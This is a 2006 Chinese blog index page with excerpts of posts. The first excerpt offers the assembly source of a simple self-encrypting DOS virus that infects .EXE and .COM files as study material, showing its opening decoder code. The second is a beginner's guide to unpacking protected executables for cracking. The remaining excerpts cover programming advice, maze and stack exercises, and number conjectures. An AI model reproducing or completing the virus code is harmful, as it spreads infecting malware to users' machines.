博文

用汇编语言写的一个病毒--源码(2006-04-02 13:48:00)

摘要:这个病毒虽然比较简单。但是麻雀虽小,五脏俱全。隐藏,感染,加密等模块应有尽有(只是不会破坏),是一个比较标准的DOS病毒,可以感染.EXE(不包括PE)和.COM的可执行文件。 如果您希望学习汇编语言,用这个程序作为入门指导倒是比较合适的。 染毒文件会被打上“CR”的标记,我们姑且称它为CR病毒吧。 baseoff equ 107h code segment assume cs:code,ds:code,es:code,ss:code org 100h main: mov ax,offset begin jmp ax db 'cr' begin: push es push ds mov ax,cs mov ds,ax mov es,ax call get_ip push ax mov ax,offset encodebegin jmp short get_ip_end oldhead db 0h,4ch,0cdh,21h,6 dup (?) get_ip label near mov bp,sp mov bx,[bp] ret get_ip_end: sub bx,112h ;get current offset add ax,bx push ax pop di mov si,di cld mov cx, offset endtag-offset encodebegin mov dl, byte ptr [oldhead+bx] push si decode: lodsb xor al,dl stosb ;decode at runtime loop decode retf ;retf cs:ip=encodebegin db 62h db......

阅读全文(2746) | 评论:0

破解入门(2006-04-02 13:47:00)

摘要:第一课 壳 ************ 一.壳的概念 作者编好软件后,编译成exe可执行文件 1.有一些版权信息需要保护起来,不想让别人 随便改动,如作者的姓名等 2.需要把程序搞的小一点,从而方便使用 于是,需要用到一些软件,他们能将exe可执行文件压缩, 实现上述两个功能,这些软件称为加壳软件或压缩软件. 它不同于一般的winzip,winrar等压缩软件. 它是压缩exe可执行文件的,压缩后的文件可以直接运行. 二.加壳软件 最常见的加壳软件ASPACK ,UPX,PEcompact 不常用的加壳软件WWPACK32;PE-PACK ;PETITE ;NEOLITE 第二课 脱壳 ************ 拿到一个软件,我们首先根据第一课的内容 侦测它的壳,然后我们要把它的壳脱去,还原它的 本来面目.若它没有加壳,就省事不用脱壳了. 一.脱壳软件 unaspack,caspr,upx,unpecompact,procdump 二.使用方法 (一)aspack壳 脱壳可用unaspack或caspr 1.unaspack 我的主页可下载中文版 使用方法类似lanuage 傻瓜式软件,运行后选取待脱壳的软件即可. 缺点:只能脱aspack早些时候版本的壳,不能脱高版本的壳 2.caspr 第一种:待脱壳的软件(如aa.exe)和caspr.exe位于同一目录下,执行 windows起始菜单的运行,键入 caspr aa.exe 脱壳后的文件为aa.ex_,删掉原来的aa.exe,将aa.ex_改名为aa.exe即可 使用方法类似fi 优点:可以脱aspack任何版本的壳,脱壳能力极强 缺点:Dos界面 第二种:将aa.exe的图标拖到caspr.exe的图标上 ***若已侦测出是aspack壳,用unaspack脱壳出错,说明是aspack高版本的壳,用caspr脱即可 (二)upx壳 脱壳可用upx 待脱壳的软件(如aa.exe)和upx.exe位于同一目录下,执行 windows起始菜单的运行,键入 upx -d aa.exe (三)PEcompact壳 脱壳用unpecompact 我的主页可下载中文版 使用方法类似lanuage 傻瓜式软件......

阅读全文(4310) | 评论:3

写给想当程序员的朋友(2006-04-01 18:40:00)

摘要:写给想当程序员的朋友 软件以程序员为本(《程序员》) 谨以此文献给所有想当程序员的朋友 (一) 文章由来及个人经历 我是一名计算机专业的本科毕业生,毕业已经1年多了。毕业后从事的是软件编程工作,经常有其他专业的朋友想从事软件编程工作,向我请教如何,因为我自觉涉行不深,不敢信口开河,无奈朋友信任,我不得不郑重考虑一下这个问题了,来帮助朋友选择和回报朋友的信任。 这也就是此文的由来。 还是先谈谈我个人的经历吧。(是不是有点俗套,但我觉得了解我的经历,有助于理解我话的含义;我一向认为不了解古龙的生活经历的,不会真正读懂古龙的作品和古龙笔下的英雄的)我本科就读于南方一所著名的高校(因为自己的不成气,愧谈母校名谓),学的就是计算机专业。上本科时,几乎没有认真的听完一门专业课程,上课看报纸睡大觉,下课看录像看小说看球赛,临考抱佛脚,每次考试和课程设计都是蒙混过关。(于之相对是,我选修的工商管理和经济贸易方面的课到是听得不亦乐乎,考的分数颇高,也许这才是我的真正兴趣所在。) 总而言之,大学是混过来了,对专业的理解和掌握程度,应该没有达到毕业要求的合格水平。(也很后悔,但是有什么用呢,当时不知道珍惜;如果上天再给我一次机会的话,我一定会抓住,多看点美国大片少看点港片;现在,重回校园是我的一大理想)但是大学的学习使我有了一个简单的知识框架(总算学费没白交),我对一个朋友这样形容过我的这个知识框架,“它不是钢筋铸的,是稻草扎的”,哈哈哈,不要笑,真的,我敢说很多本科毕业的朋友的本专业的知识框架也只不过是“稻草扎的”。直到现在,我一直觉得自己的基础知识还是很薄弱,一直想抓点时间,把基础书本好好的温习一下。(此项任务正在计划和实施中) 毕业后,分配到某研究所工作。当领导让我选择自己以后的工作方向时,我毫不犹豫的选择了软件(也不知道到底是对还是错,但我决不后悔)。此研究所主要是以硬件为核心搞通信控制设备的研发生产;软件是辅助,所以也不受什么重视,很多搞软件的人都跳槽走了,留下来的大都是一些已经废掉和行将废掉的“伪/ 萎”程序员(名副其实的“软件人员”)。在这里感觉不到什么高紧张和高技术程度的研究和开发;软件开发的技术含量极低,以致于大部分人只有半年的学习和开发经验,以后都是这些知识和经验的重复利用。(我问过其他到研究所工作的同学,他们说都一样,呜呼......

阅读全文(2850) | 评论:3

怎样做程序员(2006-04-01 17:05:00)

摘要:借用一句台词“如果你爱一个人,那么让他去做程序员吧。如果你恨一个人,那么让他去做程序员吧”这个世界再没有一种职业比程序员更痛苦了;再没有一种职业比程序员更快乐了;再没有一种职业比程序员更具有挑战性了;再没一种职业比程序员有更单纯的生活了。因为他是造物主,魔术师,流放者,虔诚之徒。 如果你只想做一些,“XX管理系统”之类的东东,拜托了请不要做程序员拿起身边的可视化编程资料,用一个礼拜时间在痛苦并未来临之前掌握完成,当然不会随之而来的还有快乐。其实可以学的好方向多的是,老实说,计算机现在已经没有前几年吃香了,正处于低潮期。MBA、法律都是很好的。兴趣是我们作事的最大源动力,当你在这个行业看不到自己的兴趣所在,那么毅然决定离开是最好的选择。但如果你选择了程序员,恭喜你,世界上最美好的,伟大的,震撼的作品就在你触手可及的地方。 一、起步 所有人都想成为一个高手,可要知道在所有的高手成为高手之前,他自己都有一个相当长的积累时间。当然,我不是说的那种攒机高手,我是指的真正的计算机高手。比如,懂得汇编可以从事系统底层的工作,或从事软件加解密的工作,这样也可以称为高手;再比如,精通OOP,熟悉设计模式,也可以成为系统设计的高手。高手的定义很多,总体来说,“高手”是在你的实际能力和水平达到一定程度之后一个很自然的反馈。所以千万不要在起步的时候用“高手”两个字来迫害自己,每个人都是从“顺序结构”开始的,每个人都从“main函数是什么?”的问题开始的,掀开第一页,打开编译器是你的起步。执著,坚持,非凡的毅力必定会成就你的。 二、学习 计算机的核心课程大致为:数据结构,组成原理,离散数学,操作系统,编译原理,系统结构,软件工程,OOP,图形学,网络,C/C++ /Pascal/Asm编程语言等。是的我知道你想学编程,我知道你今天就想写出一个windows 2006或者什么。我知道你不想学数学,不想学与程序看似无关的其他东东。但是拜托,请耐心点,把核心课程认真学习一遍或几遍,比如数据结构,比如离散数学,再比如操作系统和组成原理等等。为什么是“核心”以后会明白的。不要眼高手低,千万别想当然DS简单,不信你现在写个后序非递归算法,我估计你是挂了。 三、拓展 通过起步,你已经学会了三四个低级语言,五六个高级语言在短......

阅读全文(5402) | 评论:1

小鼠迷宫问题(2006-03-29 18:36:00)

摘要:Description 小鼠a与小鼠b身处一个m×n的迷宫中,如图所示。每一个方格表示迷宫中的一个房间。这 m×n个房间中有一些房间是封闭的,不允许任何人进入。在迷宫中任何位置均可沿上,下,左,右4个方向进入未封闭的房间。小鼠a位于迷宫的(p,q)方格中,它必须找出一条通向小鼠b所在的(r,s)方格的路。请帮助小鼠a找出所有通向小鼠b的最短道路。 对于给定的小鼠的迷宫,编程计算小鼠a通向小鼠b的所有最短道路。 Input 第一行有3个正整数n,m,k,分别表示迷宫的行数,列数和封闭的房间数。接下来的k行中,每行2个正整数,表示被封闭的房间所在的行号和列号。最后的2行,每行也有2个正整数,分别表示小鼠a所处的方格(p,q)和小鼠b所处的方格(r,s)。 Output 输出小鼠a通向小鼠b的最短路长度和有多少条不同的最短路。 第一行是最短路长度,第2行是不同的最短路数。 如果小鼠a无法通向小鼠b则输出“No Solution!”。 Sample Input 8 8 3 3 3 4 5 6 6 2 1 7 7 Sample Output 11 96 Source Fujian OI -- 2005 #include #include #include #define MAX 8000 struct Position{ int row; int col; }; typedef struct Position position; struct Queue{ position queue[MAX]; int top; int rear; }; typedef struct Queue q; position start,end; int num=0; position offset[4]; int grid[MAX][MAX]; void init_q(q *p) { p->top=-1; p->rear=-1; } void enqueue(q *p,position x) { p->rear++; p->queue[p->rear].col=x.col; p->queue[p->rear......

阅读全文(4428) | 评论:0

栈与队列的例程(2006-03-29 18:19:00)

摘要:栈与队列,是很多学习算法的同学遇到第一只拦路虎,很多人从这一章开始坐晕车,一直晕到现在。所以,理解栈与队列,是走向算法高手的一条必由之路。栈与队列的题目涉及面很广,也很灵活。但是也是很实用的呢。 1.用队列来走一个4X4的迷宫,具体严本上有算法,这里只是实现。 #include #define m 4 #define n 4 int mg[m+1][n+1]; struct mgque { int x,y,pre; }mgque[25];/*队列:用来存路径*/ struct zl { int x,y; }zl[5];/*四个方向的增量*/ int outlj(struct mgque mgque[],int rear) { int i; i=rear; do{ printf("(%d,%d)",mgque[i].x,mgque[i].y); i=mgque[i].pre; }while(i!=0); }/*输出用rear反方向输出*/ int mglj() { int x,y,i=1,j=1,d,find;/*d是用来循环的增量*/ int rear=0,front=0; mgque[0].x=1;mgque[0].y=1;mgque[0].pre=-1; mg[1][1]=-1;/*迷宫左上第一个,若为0可通,标志为-1防止重复*/ find=0; while(fronttop--; return x; } EmptyS(Stack *s) /*判断空栈*/ { return s->top==-1; } main() { int N=1348; Stack *s; s=(Stack *)malloc(sizeof(Stack)); s->top=-1; while(N) { push(s,N%8); N=N/8; } while(EmptyS) { printf("%d",pop(s)); ......

阅读全文(3495) | 评论:0

数学猜想(2006-03-29 09:31:00)

摘要: 1.【回归数猜想】
    英国大数学家哈代(G.H.Hardy,1877-1947)曾经发现过一种有趣的现象:       153=13+53+33   371=33+73+13   370=33+73+03   407=43+03+73 他们都是三位数且等于各位数字的三次幂之和,这种巧合不能不令人感到惊讶.更为称奇的是,一位读者看过哈代的有趣发现后,竟然构造出其值等于各位数字四(五,六)次幂之和的四(五,六)位数:   1634=14+64+34+44  54748=55+45+75+45+85    548834=56+46+86+86+36+46 像这种其值等于各位数字的 n 次幂之和的 n 位数,称为 n 位 n 次幂回归数.本文只讨论这种回归数,故简称为回归数,人们自然要问:对于什么样的自然数 n 有回归数?这样的 n 是有限个还是无穷多个?对于已经给定的 n ,如果有回归数,那么有多少个回归数?
  1986年美国的一位数学教师安东尼.迪拉那(Anthony Diluna)巧妙地证明了使 n 位数成为回归数的 n 只有有限个.
  设 An 是这样的回归数,即:    An=a1a2a3...an=a1n+a2n+...+ann  (其中 0<=a1,a2,...an<=9)    从而  10n-1<=An<=n9n  即 n 必须满足 n9n>10n-1  也就是  (10/9)n<10n       ⑴    随着自然数 n 的不断增大,(10/9)n 值的增加越来越快,很快就会使得 ⑴ 式不成立,因此,满足⑴的 n 不能无限增大,即 n 只能取有限多个.进一步的计算表明:    (10/9)60=556.4798...<10*60=600 ......

阅读全文(4499) | 评论:1